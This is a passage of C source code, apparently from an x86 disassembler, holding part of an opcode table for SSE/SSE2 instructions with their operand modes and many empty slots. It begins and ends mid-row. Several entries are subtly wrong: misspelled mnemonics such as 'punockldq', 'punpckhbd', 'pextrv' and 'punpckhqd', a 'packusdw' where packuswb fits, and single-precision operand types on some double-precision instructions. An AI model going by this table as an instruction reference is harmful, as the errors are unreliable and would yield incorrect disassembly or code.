AM_M|OT_q|P_w,               AM_V|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"unpcklpd\",  AM_V|OT_pd|P_w,              AM_W|OT_pd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"unpcklpd\",  AM_V|OT_pd|P_w,              AM_W|OT_pd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"movhpd\",    AM_V|OT_q|P_w,               AM_M|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"movhpd\",    AM_M|OT_q|P_w,               AM_V|OT_pd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,    \"movapd\",    AM_V|OT_pd|P_w,              AM_W|OT_pd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"movapd\",    AM_W|OT_pd|P_w,              AM_V|OT_pd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"cvtpi2pd\",  AM_V|OT_pd|P_r,              AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"movntpd\",   AM_M|OT_pd|P_w,              AM_V|OT_pd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"cvttpd2pi\", AM_P|OT_q|P_r,               AM_W|OT_pd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"cvtpd2pi\",  AM_P|OT_q|P_r,               AM_W|OT_pd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"ucomisd\",   AM_V|OT_sd|P_w,              AM_W|OT_sd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"comisd\",    AM_V|OT_sd|P_w,              AM_W|OT_sd|P_w,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,    \"movmskpd\",  AM_G|OT_d|P_w,               AM_V|OT_pd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"sqrtpd\",    AM_V|OT_pd|P_w,              AM_W|OT_pd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,    \"andpd\",     AM_V|OT_pd|P_w,              AM_W|OT_pd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"andnpd\",    AM_V|OT_pd|P_w,              AM_W|OT_pd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"orpd\",      AM_V|OT_pd|P_w,              AM_W|OT_pd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"xorpd\",     AM_V|OT_pd|P_w,              AM_W|OT_pd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"addpd\",     AM_V|OT_pd|P_w,              AM_W|OT_ps|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"mulpd\",     AM_V|OT_pd|P_w,              AM_W|OT_ps|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"cvtpd2ps\",  AM_V|OT_pd|P_r,              AM_W|OT_pd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"cvtps2dq\",  AM_V|OT_pd|P_r,              AM_W|OT_ps|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"subpd\",     AM_V|OT_pd|P_w,              AM_W|OT_ps|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"minpd\",     AM_V|OT_pd|P_w,              AM_W|OT_pd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"divpd\",     AM_V|OT_pd|P_w,              AM_W|OT_pd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"maxpd\",     AM_V|OT_pd|P_w,              AM_W|OT_pd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"punpcklbw\", AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"punpcklwd\", AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"punockldq\", AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"packusdw\",  AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"pcmpgtb\",   AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"pcmpgtw\",   AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"pcmpgtd\",   AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"packsswb\",  AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"punpckhbw\", AM_V|OT_dq|P_w,              AM_Q|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"punpckhbd\", AM_V|OT_dq|P_w,              AM_Q|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"punpckhdq\", AM_V|OT_dq|P_w,              AM_Q|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"packssdw\",  AM_V|OT_dq|P_w,              AM_Q|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"punpcklqdq\", AM_V|OT_dq|P_w,             AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"punpckhqd\", AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"movd\",      AM_V|OT_d|P_w,               AM_E|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"movdqa\",    AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"pshufd\",    AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            AM_I|OT_b,    1 },\n\t// groups 12-14\n        { INSTRUCTION_TYPE_SSE,   \"g12\",        AM_P|OT_dq,                  AM_I|OT_b,                 FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,   \"g13\",        AM_W|OT_dq,                  AM_I|OT_b,                 FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,   \"g14\",        AM_W|OT_dq,                  AM_I|OT_b,                 FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"pcmpeqb\",   AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"pcmpeqw\",   AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"pcmpeqd\",   AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,   \"haddpd\",     AM_V|OT_pd,                  AM_W|OT_pd,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,   \"hsubpd\",     AM_V|OT_pd,                  AM_W|OT_pd,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"movd\",      AM_E|OT_d|P_w,               AM_V|OT_d|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"movdqa\",    AM_W|OT_dq|P_w,              AM_V|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,    \"cmppd\",     AM_V|OT_pd|P_r,              AM_W|OT_pd|P_r,            AM_I|OT_b,    1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,    \"pinsrw\",    AM_V|OT_w|P_w,               AM_E|OT_w|P_r,             AM_I|OT_b,    1 },\n        { INSTRUCTION_TYPE_SSE,    \"pextrv\",    AM_G|OT_w|P_w,               AM_V|OT_w|P_r,             AM_I|OT_b|P_r,1 },\n        { INSTRUCTION_TYPE_SSE,    \"shufpd\",    AM_V|OT_pd|P_w,              AM_W|OT_pd|P_r,            AM_I|OT_b|P_r,1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,    \"addsubpd\",  AM_V|OT_pd|P_w,              AM_W|OT_pd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"psrlw\",     AM_V|OT_dq|P_w,              AM_Q|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"psrld\",     AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"psrlq\",     AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"paddq\",     AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"pmullw\",    AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"movq\",      AM_W|OT_q|P_w,               AM_V|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"pmovmskb\",  AM_G|OT_d|P_w,               AM_V|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"psubusb\",   AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"psubusw\",   AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"pminub\",    AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"pand\",      AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"paddusb\",   AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"paddusw\",   AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"pmaxsw\",    AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"pandn\",     AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"pavgb\",     AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"psraw\",     AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"psrad\",     AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"pavgw\",     AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"pmulhuw\",   AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"pmulhw\",    AM_V|OT_dq|P_w,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"cvttpd2dq\", AM_V|OT_dq|P_r,              AM_W|OT_pd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"movntq\",    AM_M|OT_dq|P_w,              AM_V|OT_dq|P_r,            